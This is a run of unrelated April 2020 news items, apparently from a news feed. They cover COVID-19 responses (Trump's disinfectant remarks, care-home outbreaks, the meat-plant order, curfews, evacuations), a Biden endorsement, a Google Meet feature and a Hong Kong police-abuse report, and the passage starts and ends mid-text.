disclosed here and elsewhere in RISE's periodic filings with Canadian securities regulators. When used in this news release, words such as "will, could, plan, continue, estimate, expect, intend, may, potential, believe, should, target, goals, projections, anticipated" and similar expressions, are forward-looking statements. Forward-looking statements may include, without limitation, statements including the Company's expectations with respect to pursuing new opportunities and its future growth and other statements of fact. Although RISE has attempted to identify important factors that could cause actual results, performance or achievements to differ materially from those contained in the forward-looking statements, there can be other factors that cause results, performance or achievements not to be as anticipated, estimated or intended, including, but not limited to: the Company's ability to complete the proposed Transaction or Private Placement; recent market volatility; the COVID-19 crisis; general economic conditions; pending and proposed legislative or regulatory developments including the impact of changes in laws, regulations and the enforcement thereof; reliance on funding models; operational and infrastructure risks including possible equipment failure and performance of information technology systems; intensifying competition resulting from established competitors and new entrants in the businesses in which the Company operates; insurance coverage of sufficient scope to satisfy any liability claims; fluctuations in total customers; technological change and obsolescence; loss of services of key senior management personnel; privacy laws; leverage and restrictive covenants; fluctuations in cash timing and amount of capital expenditures; tax-related risks; unpredictability and volatility of the price of the Company's securities; dilution; and future sales of the Company's securities. Further risks include operational risks of operating in the United States; U.S. federal regulation risks; variation in U.S. state regulations; change of U.S. cannabis laws; security risks; risks related to permits and authorizations; risks related to potential acquisitions; risks on liability, enforcement complaints etc.; banking risks; marketing, sales, manufacturing and distribution risk regarding our product growth plans; changes in laws; limited operating history; reliance on management; requirements for additional financing; hindering market growth and state adoption due to inconsistent public opinion and perception of the medical-use and adult use cannabis industry; and regulatory or political change. There can be no assurance that such information will prove to be accurate or that management's expectations or estimates of future developments, circumstances or results will materialize. As a result of these risks and uncertainties, the results or events predicted in these forward-looking statements may differ materially from actual results or events. Accordingly, readers should not place undue reliance on forward-looking statements. For Investor inquiries, please contact: Scott Secord, Executive Chairman scott@riselifescience.com T. 416.433.9259 To view the source version of this press release, please visit https://www.newsfilecorp.com/release/54990 Washington, April 28 : Pramila Jayapal, the first Indian-American woman to serve in the US House of Representatives, has endorsed the presumptive Democratic nominee Joe Biden for the November presidential election, it was reported. The Washington Democrat, a Co-Chair of the Congressional Progressive Caucus, announced the decision via Twitter on Monday, reports the American Bazaar. "Today I am announcing my endorsement of @JoeBiden for President of the United States. VP Biden is a deeply dedicated public servant with the ability to unite the American people. "I am moved by his compassion and ability to connect with people on the most human level," she said in the tweet. The endorsement of Jayapal, who had previously backed Vermont Senator Bernie Sanders, signalled that the progressive wing of the Democratic Party has now lined up behind the former Vice President, said the American Bazaar report. Sanders ended his campaign earlier this month after he lost Biden in the Wisconsin primary. He also endorsed the former Vice President on April 13. Jayapal explained why she was supporting Biden in a series of follow-up tweets. The Congresswoman said that she "started this campaign as an ardent and vocal" Sanders surrogate, but was now "ready to work with" Biden to "craft & then implement the most progressive agenda of any candidate in history," even though he has "not always agreed with" the presumptive nominee "on matters of policy". Jayapal said any "progress toward a better future requires defeating" President Trump this November. "We are ready for a President who will encourage us to be as big as we can be, with compassion & bold leadership. That President must be @JoeBiden. I will do everything I can to help @JoeBiden win back the White House, take back the Senate, & preserve our House majority," she added. Also on Monday, US House Speaker Nancy Pelosi endorsed Biden, saying he was a "voice of reason and resilience" amid the coronavirus pandemic. Biden already has the formal support from former President Barack Obama, progressive leaders Sanders and Elizabeth Warren, and the party's two previous presidential nominees John Kerry and Al Gore. Many legislative staffers worked from home to avoid the spread of the virus, which has killed over 280 people and infected more than 7,000 in the state. Rather than meeting in crowded hearing rooms, the Senate is conducting some committee hearings on the floor of the chamber, as well as livestreaming their activities so the public can view the action. Although billions of dollars in federal stimulus funds may soften some of the cuts, public universities and state workers are expected to bear the brunt of the revamped spending plan, which goes into effect July 1. The University of Missouri System will see an estimated $36.5 million reduction. UM officials are expected to counter the cut by furloughing and laying off employees. The Missouri Department of Transportation wont get $55 million for bridge repairs, which has been a priority for the Republican governor. State workers, who rank among the lowest paid in the nation, had been on track for a second year of raises as part of a plan to reduce high levels of turnover. But officials say raises are untenable at a time when Missouri is seeing an unprecedented spike in unemployment. At Mondays COVID-19 news conference, President Donald Trump said he takes no responsibility for a spike in calls to poison centers across the country following his public pondering last week whether disinfectants which are harmful if ingested could be injected as a treatment for the virus. Gov. Larry Hogan of Maryland and Gov. Gretchen Whitmer of Michigan say their states received an uptick in calls from residents with inquiries about disinfectant following Trumps remarks, which sparked widespread concern and quick warnings from several doctors, the Centers for Disease Control and Prevention and Lysol, which made clear that under no circumstance should our disinfectant products be administered into the human body. Public health officials in New York and Illinois also reported increased calls to emergency hotlines and poison control centers, according to The Hill. I cant imagine why, Trump said when asked during Monday evenings news conference about the ramped up calls. When pressed on whether he took any responsibility, he said, No, I dont. I cant imagine that," before moving on to the next question from another reporter. On Thursday, after a presentation by William Bryan, the Department of Homeland Security undersecretary for science and technology, Trump commented that disinfectant ... knocks it out in a minute. One minute. Is there a way we can do something like that ... by injection inside, or almost a cleaning, because you see it gets in the lungs and it does a tremendous number on the lungs. So itd be interesting to check that. So that ... youre going to have to use medical doctors with. But it sounds interesting to me. Similar to when he inquired whether very powerful light could serve as a treatment inside the body, the president had turned in the direction of public health officials when discussing disinfectant on Thursday. But the next day, the president claimed he had posed the question sarcastically to reporters. Dr. Deborah Birx, the White House coronavirus task force coordinator, told CNNs Jake Tapper on Sunday that Trump had been musing and airing out a question to public health officials not long after digesting the presentation before the briefing. Hogan, in a CBS interview Sunday, said that his state had been inundated with hundreds of calls asking about the ingestion of disinfectants to treat COVID-19, CNN reported. Hard to imagine that people thought that that was serious," he said. But what people actually were thinking about was, was this something you could do to protect yourself? Hogan added that its always critically important ... for a leader to put out the facts and to be as open and honest and transparent as possible. And I think its critical that the president of the United States, when people are really scared and in the middle of this worldwide pandemic, that in these press conferences that we really get the facts out there. And unfortunately, some of the messaging has not been great. Within 18 hours of Trumps comments Thursday, the poison control center in New York City received double the number of calls it usually receives regarding exposure to household cleaners including Lysol and bleach, NPR reported. Dr. Ngozi Ezike, director of the Illinois Public Department of Health, cautioned residents not to ingest cleaning chemicals to treat COVID-19, NBC Chicago reported. There has been a significant increase in calls to the Illinois Poison Control Center in association with exposure to cleaning agents" after Thursday, she said, noting one person attempted to gargle a mouthwash-bleach mix. Injecting, ingesting or snorting household cleaners is dangerous," Ezike said. It is not advised, and it can be deadly. TIME Magazine reported last week that calls to poison centers were already on the rise this year, with many Americans stocking up on cleaners and using them more often because theyre effective in killing the virus on surfaces. But the spikes seen between January and March, compared to the same period last year, were in accidental exposure, TIME reported. More than a third of the instances involved children aged 5 or younger. CNN reported that Sen. Bill Cassidy, a doctor, said people would not treat themselves for COVID-19 by injecting disinfectants. When I hear this kind of conversation around that, I think to myself, we should be talking about how do we use data to guide where we can reopen the economy, not about what the President said on Lysol, because really, no one is going to inject themselves with Lysol," Cassidy said. Related Content: President Donald Trump ponders disinfectant, light, heat as coronavirus treatments Dr. Deborah Birx: disinfectant not a treatment for coronavirus; President Donald Trump was musing Coronavirus stimulus package: How the $2.2 trillion bill will help boost small businesses Coronavirus: President Donald Trump extends stay-at-home, social distancing guidelines to April 30 Coronavirus stimulus package: Treasury Secretary Steven Mnuchin says checks from COVID-19 bill to come within 3 weeks [April 28, 2020] United Health Foundation Donates $500,000 to University of Chicago Medicine to Support Expanded COVID-19 Testing in Underserved Communities The United Health Foundation is donating $500,000 to the University of Chicago Medicine to support expanded COVID-19 testing for underserved communities. The financial support will allow UChicago Medicine and the South Side Healthcare Collaborative community health partners to expand testing to up to 1,000 residents a day on the South Side of Chicago, one of the hardest hit areas in the city. The effort is part of UnitedHealth Group's (NYSE: UNH) initial $70 million commitment to fight COVID-19 and support impacted communities. "Rigorous testing remains an essential tool in the fight against COVID-19, yet some communities continue to face barriers to accessing testing and other health care needs," said Dr. Ana Fuentevilla, chief medical officer, Population Health Solutions at Optum, a UnitedHealth Group company. "By partnering with a renowned health care organization like the UChicago Medicine and its South Side Healthcare Collaborative, we are working to address health care equity and ensure access to care for underserved communities in the city of Chicago." The United Health Foundation funding will support: Testing at South Side Healthcare Collaborative (SSHC) clinics and community hospitals. Training SSHC clinical staff in COVID-19 guidelines and protocols for testing, as well as treating patients who test positive for COVID-19. Training SSHC clinical staff to conduct contact tracing. Personal protective equipment and supplies to support increased testing. Temporary housing for patients who test positive for COVID-19. Patients' insurance plans will be billed for the cost of the test, and the health system will waie copays so there is no out-of-pocket cost to patients. People without insurance also will not face any financial obligations for the test. The South Side of Chicago suffers some of the worst economic, health, social and violence disparities in the United States. Residents also have significantly higher rates of chronic disease such as hypertension, asthma, diabetes, obesity and HIV. Because of these factors, five of the ZIP codes in UChicago Medicine's service area have among the highest confirmed rates of COVID-19 in the city. They include 60617, 60619, 60620, 60628 and 60643. "We are grateful to the United Health Foundation for its support of our efforts to provide much needed care to communities disproportionately impacted by the COVID-19 emergency," said Brenda Battle, vice president of UChicago Medicine's Urban Health Initiative and chief diversity and inclusion officer. "The financial support will allow South Side health care providers to ramp up staff and supplies needed to make testing more widely available to those most at risk in the community, which is critical to our efforts to prevent further spread of COVID-19." UnitedHealth Group has committed an initial $70 million to fight COVID-19 and support impacted communities including health care workers, hard-hit states and localities, seniors and those experiencing homelessness and food insecurity. UnitedHealth Group, including UnitedHealthcare and Optum, and its affiliated companies, have a long history of addressing health disparities, including many programs to improve access to care and address key determinants of health such as food insecurity, transportation, housing and more. Additionally, the United Health Foundation's Diverse Scholars Initiative works to create a more relevant and diverse health workforce, particularly in underserved communities, by increasing the number of primary care health providers ready to meet future health care needs. Since the inception of the Diverse Scholars Initiative in 2007, the United Health Foundation has provided more than $23 million in funding in support of nearly 3,000 scholarships. About UnitedHealth Group UnitedHealth Group (NYSE: UNH) is a diversified health care company dedicated to helping people live healthier lives and helping to make the health system work better for everyone. UnitedHealth Group offers a broad spectrum of products and services through two distinct platforms: UnitedHealthcare, which provides health care coverage and benefits services; and Optum, which provides information and technology-enabled health services. For more information, visit UnitedHealth Group at www.unitedhealthgroup.com or follow @UnitedHealthGrp on Twitter (News - Alert). View source version on businesswire.com: https://www.businesswire.com/news/home/20200428005325/en/ [ Back To TMCnet.com's Homepage ] Seventeen people have now died from COVID-19 at North Yorks Hawthorne Place Care Centre, where 47 residents have tested positive and a team of military personnel is now offering emergency assistance, the home says. The announcement comes on the heels of another reported death at the Eatonville Care Centre in Etobicoke, the provinces second-deadliest nursing home outbreak. To date, Eatonville which has been named in a class-action lawsuit has confirmed 39 deaths, with 142 residents and 92 staff testing positive. Results for another 61 people are still pending. Both nursing homes are among the five in Ontario to start receiving military help this week to try and contain their deadly COVID outbreaks. Last week, Premier Doug Ford appealed to Ottawa for teams of military personnel to help with the provinces crisis in long-term care facilities, where the novel coronavirus has been spreading like wildfire. In addition to Hawthorne and Eatonville, army medics and nurses are now helping at Altamont Care Community in Scarborough, which has 170 cases among residents and staff and 33 deaths; Grace Manor in Brampton, with 70 total cases and two deaths; at Orchard Villa in Pickering, which has 245 total cases and 48 deaths in the provinces worst outbreak. These facilities were chosen because they have the most acute staffing challenges leading to poor resident outcomes, Gillian Sloggett, press secretary for the minister of long-term care, said in an emailed statement. The Canadian Armed Forces teams will work in partnership with long-term care homes, as well as local hospitals, to help with infection control and prevention, and maintaining staffing levels in the homes, Sloggett said. Personnel redeployed will include medics and nurses accustomed to delivering excellent patient care, who will assist with a range of duties. As recently as Monday, Hawthorne was listed as having just two COVID-19 deaths, according to Toronto Public Health data. In a statement, executive director Gale Coburn confirmed that 62 staff have also tested positive for COVID at Hawthorne, with another 49 test results pending, she said. She said some residents may be retested to ensure that we have an accurate understanding of the outbreak in our home. At Hawthorne, 28 support staff from the Canadian Armed Forces are now working alongside registered nurses and other staff, Coburn said. Our entire team is grateful for the increased staffing support weve received ... We applaud each and every individual and organization that continues to support us in putting residents, and their needs, first. At Eatonville, the military arrived on Monday to lend support to the home, with nearly 30 Canadian Armed Forces staff providing medical support, meals, and housekeeping. These reinforcements will greatly benefit and bolster the hard-working team at Eatonville Care Centre who have pushed through the last few weeks with dedication and compassion, said Evelyn MacDonald, executive director of the home, in the statement. The staff moods have been elevated with the CAF arrival and support. Our thanks again, to the premier and government for moving this initiative forward so quickly. According to the Stars most recent count of publicly available records, more than 850 people have died in 268 confirmed COVID-19 outbreaks at an Ontario long-term-care or retirement home. Eatonville has become the target of a class-action lawsuit filed in Ontario Superior Court on Friday that alleges the company running the facility neglected patients and failed to properly and adequately plan for and respond to the COVID-19 pandemic. It also alleges the home had inadequate staff and that it failed to comply with provincial and federal health regulations. Responsive Group which runs several care homes and has not yet filed a statement of defence said in a statement to the Star that it recognizes the rights of individuals to advance their concerns through litigation. It is equally important that all parties in such matters have the opportunity to present information to the court and for it to be reviewed and thoughtfully considered. The court will then have to determine whether a concern merits certification. With files from Jenna Moon President Donald Trump is expected to sign a five-page executive order under the Defense Production Act to compel meat processing plants to remain open amid the coronavirus pandemic. Trump had highlighted the order during an Oval Office meeting with Florida Gov. Ron DeSantis that was opened up to reporters. 'We're going to sign an executive order today, I believe, and that'll solve any liability problems,' Trump said on Tuesday. The President is expected to sign the order after some companies, such as Tyson Foods, were considering only keeping 20% of their facilities open. The vast majority of processing plants could have shut down -- which would have reduced processing capacity in the country by as much as 80%, an official familiar with the order told CNN. By signing the order, Trump will declare these plants as a part of critical infrastructure in the US. The administration is also working with the Department of Labor on issuing guidance about which employees who work at these meat processing facilities should remain home, including workers who are part of populations most vulnerable to the coronavirus. When Trump announced the executive order, he also told reporters that his administration was working with Tyson Foods. Tyson Foods spokesman Gary Mickelson wouldn't comment on the order because the company had not seen it, but said: 'We can tell you our top priority remains the safety (of) our team members and plant communities while we work to continue fulfilling our role of feeding families across the country.' With many Americans staying home during the coronavirus, industry experts say demand for meat has increased. But some of the country's largest processing plants have been forced to cease operations temporarily after thousands of employees across the country have tested positive for the virus. The situation has gotten so severe, meat processing executives warned, that the US meat supply could be at risk. Meat, beef and pork production reached record highs in March, according to the US Agriculture Department. But earlier this month, the United Food and Commercial Workers International Union said at least 13 processing plants have closed over the past two months, resulting in a 25% reduction in pork slaughter capacity and 10% reduction in beef slaughter capacity. The union also estimated Tuesday that 20 meatpacking and food processing workers have died so far. For years, major meat processors have been ruthlessly tamping down on costs and increasing efficiencies. According to the Occupational Safety and Health Administration, the industry's hazards include 'high noise levels, dangerous equipment, slippery floors, musculoskeletal disorders, and hazardous chemicals.' But in addition to those dangers, efforts to speed up processing has led to workers standing closer together -- about three or four feet apart from each other while working. Officials say that people should stand about six feet apart in order to maintain social distancing practices that could help prevent the spread of Covid-19. Major meat processors such as Smithfield, Tyson and others say they've put measures in place, like temperature checks and plexiglass to encourage social distancing in some areas and to help keep their workers safe. But some workers say their employers aren't doing enough to protect them. In March, the United Nations warned that the coronavirus pandemic threatened to disrupt food supply chains around the world. 'A protracted pandemic crisis could quickly put a strain on the food supply chains, a complex web of interactions involving farmers, agricultural inputs, processing plants, shipping, retailers and more,' the Food and Agriculture Organization of the United Nations said in a report. North Carolina Democratic Rep. Alma Adams, who chairs the House Workplace Protections Subcommittee, said that the plants 'should not reopen without unprecedented protections and safeguards for workers and livestock.' '(T)he Trump Administration shouldn't decide which workers will be safe and which workers will be in mortal danger,' Adams said in a statement. Iowa Republican Sen. Chuck Grassley praised the move on Twitter but noted the need to follow federal guidance to protect workers. 'Pres @realDonaldTrump is right 2use authority 2 keep open meat processing plants Its critical infrastructure 4 country's food supply chain As saying goes society is 9 meals away from food riots Fed govt shld help w PPE&testing/plants need 2follow CDC&OSHA guidance 2protect wrkers,' he tweeted. Trump has previously invoked the Defense Production Act during the pandemic to compel companies to produce or procure medical supplies and equipment, such as personal protective equipment and ventilators. It's also been used to prosecute sellers hoarding supplies and selling it at huge markups. PM Modi wants blue collar workers from Gulf evacuated first India oi-Vicky Nanjappa New Delhi, Apr 28: Prime Minister Narendra Modi has spelt out the rules to evacuate Indians stranded abroad. The evacuation would first focus on blue collar workers. Students would be next followed by those who had travelled abroad on a holiday or work. The Civil Aviation Ministry and External Affairs Ministry have been laying the ground work to bring back Indians stranded abroad due to the coronavirus outbreak. Indians stranded abroad set to return home after May 3: Centre tells states to keep facilities ready The Prime Minister made it clear that the first preference should be given to the poorest Indian immigrants first. Most of these workers are stranded in the Gulf. Out of the 12.6 million Indians abroad, 70 per cent are in the Gulf countries. They have been hit badly due to this pandemic and hence the PM felt that the first choice should be given to them. In case of the students, the government has asked the Indian missions to work out the modalities. There have been several requests from the students stranded in the United Kingdom, Canada and the United States to be brought back home. While this exercise should begin after May 3, there is however no official word on the exact date. This exercise would largely depend on the states, officials tell OneIndia. The states have been told to increase the number of hospitals and quarantine centres ahead of this exercise. Last week,Prime Minister Narendra Modi held a series of discussions with top officials on this issue. Cabinet Secretary, Rajiv Gauba informed the states to start making arrangements to earmark hospitals, and quarantine zones for Indian nationals stuck abroad. The government will make arrangements to bring back those Indians stuck abroad after the national lockdown ends. Officials tell OneIndia that the Ministry of External Affairs is already making an assessment of people who want to return to India. The ministry not just assessing the people stranded abroad, but also those who want to come back too. New guidelines for home isolation of people with very mild symptoms of coronavirus The number in the case of Kerala would be the highest as there are 1,00,000 expats wanting to come back. The other states which have a high number of expats abroad are Delhi, Maharashtra, Punjab, Andhra Pradesh, Telangana, Gujarat and Tamil Nadu. The official cited above said that the Indians abroad would be brought to the International Airport closest to their state. The travel requirements would be kept at a minimum. Those who arrive will be taken straight to the quarantine centres, where they would have to spend a minimum of 14 days. The states have been asked to ensure that the facilities are ready for these persons. While speaking at the Chief Minister's conference on Monday, the PM said that this has to be done keeping in mind the fact that they don't get inconvenienced and their families are not under any risk. Getting good lighting conditions when participating in a video call is not always easy for everyone, especially with natural light. To help with this, Google is introducing a default low-light mode to its Meet app for iOS and Android, a feature thats already found in Google Duo on mobile devices. Once the feature rolls out, Meet will automatically detect if the user is in poor lighting conditions and turn on the low light mode within 5 seconds. Meet will also dynamically change the video enhancements, that is, turn up the enhancements if the lighting conditions deteriorate or reduce/turn off the enhancements when the conditions improve. Google has pointed that the feature will not work the same for everyone as there is a difference in mobile processing capabilities between different smartphones, which is expected. For reference, at the moment, Google Duos low light mode is only found in select premium smartphones that are capable to adding video enhancements in real time over video. Low-light mode will be coming to all G Suite users, with iOS users receiving the feature beginning today and all Android users receiving a gradual rollout, reaching everyone by 11th May, 2020. You can download the Google Meet for Android and iOS at the Play Store and the App Store respectively. Source YEREVAN, APRIL 28, ARMENPRESS. The ministry of emergency situations informs that on April 28, as of 08:30, the roads are mainly passable in Armenia. The ministry told Armenpress that the roads leading to the Amberd Fortress and Lake Kari will still remain closed. The Georgian side reported that the Stepantsminda-Lars highway is open only for trucks. Drivers are urged to use winter tires. Editing and Translating by Aneta Harutyunyan The President, Major General Muhammadu Buhari (retd.), on Monday ordered a nationwide curfew from 8pm to 6am beginning from Monday next week to curb COVID-19 spread. He also ordered two-week total lockdown in Kano State with immediate effect. Buhari had, on March 30, ordered lockdown for an initial period of 14 days in the federal capital Territory, Lagos and, Ogun states, followed by two-week extension, which ended at 11.59 pm on Monday. Several other states introduced similar restrictions. However, the President, in a televised address on Monday, approved a phased and gradual easing of the lockdown in the FCT, Lagos and Ogun states. He, however, extended the lockdown until May 4, when the nationwide curfew would take effect. Buhari said, In line with the recommendations of the Presidential Task Force on COVID-19, the various Federal Government committees that had reviewed socio-economic matters and the Nigeria Governors Forum, I have approved a phased and gradual easing of lockdown measures in the FCT, Lagos and Ogun states effective from Monday, May 4, 2020. For the avoidance of doubt, the lockdown in the FCT, Lagos and Ogun states shall remain in place until these new ones come into effect on Monday, 4th May 2020. However, this will be followed strictly with aggressive reinforcement of testing and contact tracing measures while allowing the restoration of some economic and business activities in certain sectors. Speaking on the guidelines for the just announced curfew, the President stated that all movements between 8pm and 6am would be prohibited except for essential services. Buhari bans inter-state movements He added, There will be a ban on non-essential inter-state passenger travel until further notice. Partial and controlled interstate movement of goods and services will be allowed for the movement of goods and services from producers to consumers. Use of face masks compulsory We will strictly ensure the mandatory use of face masks or coverings in public in addition to maintaining physical distancing and personal hygiene. Social, religious gatherings remain banned Furthermore, the restrictions on social and religious gatherings shall remain in place. State governments, corporate organisations and philanthropists are encouraged to support the production of cloth masks for citizens. Buhari, however, noted that the revised guidelines would not apply to Kano State, saying he was gravely concerned about the unfortunate developments in Kano in recent days. He said although an in-depth investigation was ongoing, the Federal Government would deploy its manpower, material and technical resources to strengthen and support the state governments efforts with immediate effect. The President added, In Kano, and indeed many other states that are recording new cases, preliminary findings show that such cases are mostly from interstate travel and emerging community transmission. The global death toll from the coronavirus is more than 210,000 with more than 3 million infections confirmed, causing mass disruptions as governments continue to try to slow the spread of the new respiratory illness. Here's a roundup of COVID-19 developments in RFE/RL's broadcast regions. Turkmenistan Authorities in Turkmenistan are clearing out hundreds of people held in quarantine zones in what could be an attempt to hide suspected cases of coronavirus ahead of a visit by World Health Organization (WHO) experts. More than 400 people placed in a quarantine area on the outskirts of Turkmenabat, the secretive Central Asian country's second-largest city, located in the eastern Lebab region, are being transferred to small provincial hospitals and a psychiatric clinic. The move follows media reports alleging that top authorities decided to temporarily transfer the sick from quarantine sites to hide coronavirus cases from a WHO team arriving in the country next week. Turkmenistan has not reported any registered COVID-19 cases yet, but experts are skeptical, given the lack of transparency and independent media in the country. Doctors in the country are not allowed to talk about the coronavirus, face masks are banned, and citizens are punished for talking about the global pandemic. Meanwhile, the authorities have set up three quarantine zones around the country in a bid to prevent the spread of what officials called "infectious diseases." People with coronavirus symptoms are not being treated for the virus, and COVID-19 test results are unknown, even if they are performed. Russia Russian President Vladimir Putin has extended the nonworking period in the country until May 11 as the number of coronavirus cases continues to rise across the country. Putin made the announcement during a video conference with regional governors on April 28, saying that the peak of Russia's coronavirus infections "has not passed yet." Russia has also imposed a partial lockdown on many regions, including Moscow, in an effort to slow the spread of the coronavirus, which has officially infected 93,558 people across the country. Among them, 867 have died. Putin initially announced a nonworking week from March 28 to April 5 and later extended it until April 30, saying that salaries will be paid for that period. On April 28, Putin ordered the government to "start preparing a wide-ranging national plan of action to normalize business activities, restore employment and people's incomes, and economic growth." The Russian leader also instructed the government to come up with recommendations on gradually easing the coronavirus lockdown restrictions by May 5. Later in the day, Moscow Mayor Sergei Sobyanin said he had signed a decree extending the lockdown regime in the city, which has been hardest-hit by COVID-19, until May 11. Pakistan The governor of Pakistan's second-most-populous province has tested positive for the coronavirus. Imran Ismail, the governor of Sindh Province, announced on April 27 results from a test he took the previous day came back positive. "I have just been tested Covid 19 positive.... Inshallah will fight it out," the 54-year-old governor wrote on Twitter. Sindh Province, which includes the industrial and financial center of Karachi, has imposed a strict lockdown, while the rest of Pakistan is under a partial lockdown. Pakistan has been divided over whether to ease coronavirus restrictions during the Muslim holy month of Ramadan, which began in the country on the evening of April 24. Health officials have warned that tens of thousands of people in Pakistan are ignoring advice to stay home during Ramadan, raising fears that the coronavirus pandemic will spread further. Pakistan has registered 13,915 positive coronavirus cases and 292 deaths, according to official numbers. Tajikistan A representative of the WHO in Tajikistan, where officials have not registered a single coronavirus case yet, says the Central Asian country must be ready for the "worst-case scenario." Galina Perfilyeva told RFE/RL on April 27 that although there was no coronavirus cases recorded officially in the former Soviet republic, Tajikistan may have people infected with the virus. "I have always said that we are observing the situation in the world and we see that in many countries there is a big number of [coronavirus] cases that proceed without any symptoms and therefore nobody can say that everything is absolutely smooth in Tajikistan in that matter," Perfilyeva said, adding that although initial test results on COVID-19 in the country were negative, the results of the latest tests that were supposed to be processed in a lab in London have been pending as Tajikistan and many other countries have closed air links due to the pandemic. Perfilyeva came under fire last month after initially confirming the Tajik government's position that the country remains free of the coronavirus. But soon afterward she changed her tone, saying it was "impossible to conclusively" say that there were no coronavirus infections in Tajikistan. Perfilyeva noted in the RFE/RL interview on April 27 that "the WHO's goal is not to find the virus, but to help our colleagues to fight that virus." "It is clear that the [Central Asian] nations have not been ready for COVID-19 as they did not have equipment or hospital facilities," Perfilyeva said. She also said that WHO experts are expected to arrive in Tajikistan in May to assist in the prevention of the spread of the virus. "Usually, when [the WHO] mission arrives to a country it provides technical assistance, attends facilities, assesses the situation.... As soon as the mission's staff is confirmed, we will start outlining the plan of the mission's activities in Tajikistan," Perfilyeva said. Kyrgyzstan Kyrgyz President Sooronbai Jeenbekov has signed a decree extending until May 10 the state of emergency in Bishkek, the capital, as well as the southern cities of Osh and Jalal-Abad and adjacent districts, and in the Ata-Bash district of the Naryn region. The initial state of emergency over the pandemic was announced in the Kyrgyz cities and districts on March 25 until April 15. It was later prolonged until April 30. The latest figures in Kyrgyzstan are 708 coronavirus cases, including eight deaths. The biggest number of coronavirus cases in the region has been registered in Kazakhstan, where health authorities said on April 28 that the number of such cases reached 2,982, including 25 deaths. In Uzbekistan, as of April 28, the number of coronavirus cases was reported as 1,924, including eight deaths. With reporting by RFE/RL's Kazakh, Kyrgyz, Tajik, Turkmen, and Uzbek services and Radio Mashaal, Reuters, Interfax, and TASS Serena DiMaso has always been a person to help others. Whether it was volunteering for her local church, working in her local Parent Group Association, or rising through levels of public office, New Jersey Assembly Member Serena DiMaso has always dived right in. Her volunteerism and willingness to get her hands dirty, has given her a unique perspective on what it means to be a community, especially during times of crisis. Growing up, by watching her parents generosity and kindness, she was taught to strive to be a better person and give back to her community. Now, DiMaso uses her position as Assembly member to ensure that feelings of community and love are still present even during times of social distancing. Being a we person versus an I person, DiMaso uses her bipartisan network at the National Foundation for Women Legislators to collaboratively build solutions instead of reinventing the wheel. Whether it is working through antiquated unemployment systems or ensuring that women in labor can have a support person with them, DiMaso is combating the sadness and separation of coronavirus with public policy. In the end, its about doing whats right for your constituents. Thats whats important. But the coronavirus pandemic is not her first time in the arena. DiMaso had only been a county freeholder for nine months when Hurricane Sandy struck her community. Even though she was new to the job, her lifetime of helping others had taught her to jump right in and help the people, whatever you have to do. After her community was devastated by the hurricane, DiMaso saw the entire state rally to build itself back up through acts of strength and resilience. She believes that this same strength and resilience will help New Jersey residents rebuild their community after the coronavirus pandemic. And DiMaso will be right there with them. Join Serena DiMaso In the Arena to hear more about her lifelong career of helping others, the history of the term freeholder and New Jerseys efforts to combat the coronavirus.Governing WASHTENAW COUNTY, MI - An additional two Washtenaw County Sheriffs Office staff members have tested positive for COVID-19, Sheriff Jerry Clayton said Monday night. This makes seven employees who have tested positive for the disease caused by the novel coronavirus, Clayton said during an April 27 Facebook Live discussion with community leaders. The two new individuals work with police dispatch, said Washtenaw County Sheriff Office Spokesman Derrick Jackson. Both dispatchers are recovering at home, Jackson said. The other five infected employees include four deputies and Sgt. Eugene Rush, a community engagement officer. The four deputies have returned to work, Jackson said. Rush is getting better slowly but surely," the sergeant said. It has taken a toll on me like no other,' Washtenaw County sheriffs sergeant says of COVID-19 Sixteen sheriffs office employees have tested negative for the virus, while 11 have been told to isolate for exhibiting symptoms, Clayton said. Symptoms include fever, cough or shortness of breath, according to the Michigan Department of Health and Human Services. MDHHS recommends anyone exhibiting these symptoms should contact their healthcare provider, a nurse hotline or telehealth program to evaluate whether they should be tested for the disease. Michigan expanding coronavirus test criteria to anyone with symptoms In addition, 11 inmates at the Washtenaw County Jail are in medical isolation for testing positive for COVID-19, according to the sheriffs office database. Seven inmates with the virus have been released, and 24 are under observation for being in suspected, close contact with someone with the virus. Washtenaw County Jail operating below 50% capacity after coronavirus protocol changes Read all of MLives coverage on the coronavirus at mlive.com/coronavirus. Additional information is available at Michigan.gov/Coronavirus and CDC.gov/Coronavirus. PREVENTION TIPS In addition to washing hands regularly and not touching your face, officials recommend practicing social distancing, assuming anyone may be carrying the virus. Health officials say you should be staying at least 6 feet away from others and working from home, if possible. Carry hand sanitizer with you, and use disinfecting wipes or disinfecting spray cleaners on frequently-touched surfaces in your home (door handles, faucets, counter tops) and when you go into places like stores. A Hong Kong-based human rights group has detailed a litany of police violence and abuse of power during last year's protests in a report to the U.K. parliament, as sporadic protests continue in the city in spite of the coronavirus pandemic. In a damning report, the Hong Kong Civil Rights Observer described several cases of excess use of force, degrading treatment, and physical abuse of arrestees by the Hong Kong police in a report dated April 2020. It also joined Hong Kong doctors and paramedics in slamming the harassment, arrest, and physical abuse of medical personnel helping the injured during the protests. In an Aug. 11 incident, police fired tear gas canisters horizontally in the direction of first aid volunteers and journalists, it quoted one interviewee using the pseudonym Timothy as saying. "A group of police tactical squad unit officers was subduing a group of protesters and Timothy got subdued in the same action," the report said. "The police tore his respirator off his face and tied his wrists with a cable tie while the other police officers were deploying tear gas, making Timothy lose consciousness partly and vomit." Timothy was then later denied access to medical attention, in violation of his rights as a detainee, and later suffered long-term nausea as a result of tear gas exposure, the report said. "Timothy requested to see the doctor several times as he kept vomiting but was ignored," it said. "While he was resting his head and arms on the table, a police officer asked whether he wanted to become a floating corpse." This was a reference to several floating bodies found in Hong Kong waters since the anti-extradition movement expanded into a full-on campaign for fully democratic elections and official accountability. 'In a worse situation' In an incident on June 12, a first-aider identified as Peter saw a teenager being covered in tear gas or pepper spray and left for 10 minutes before being put in an ambulance, during which time police prevented first-aiders from treating him. "I think Hong Kong people are in a worse situation than war captives or prisoners of war," Peter told the CRO. "Prisoners of war are protected by the Geneva Conventions. People in Hong Kong are not." Another first-aider identified as Charles was shot in the face by a non-lethal bullet fired by police, despite wearing a reflective vest clearly identifying him as a medical volunteer, the report said. "The police searched Charles and many others on the street. Charles bag was also searched," its said. "Charles observed that some female first aiders were searched by male police officers on the street." Later, at the siege of Hong Kong's Polytechnic University on Nov. 17, Charles reported being verbally abused by police, who called the first-aiders "cockroaches," telling them that they shouldn't count on immunity from arrest. "The police claimed they did not need my help as they themselves have first aid qualifications," he told CRO. "I know they are qualified; the problem is they weren't treating the injured." Recurring nightmares On the same day, first-aider Alex, clearly identifiable as a first aider with reflective clothing, reported that police pointed what appeared to be AR-15 semi-automatic rifles at first-aiders from a high level about 150 meters away. Police claimed the group were suspected of rioting, and asked them to wait for 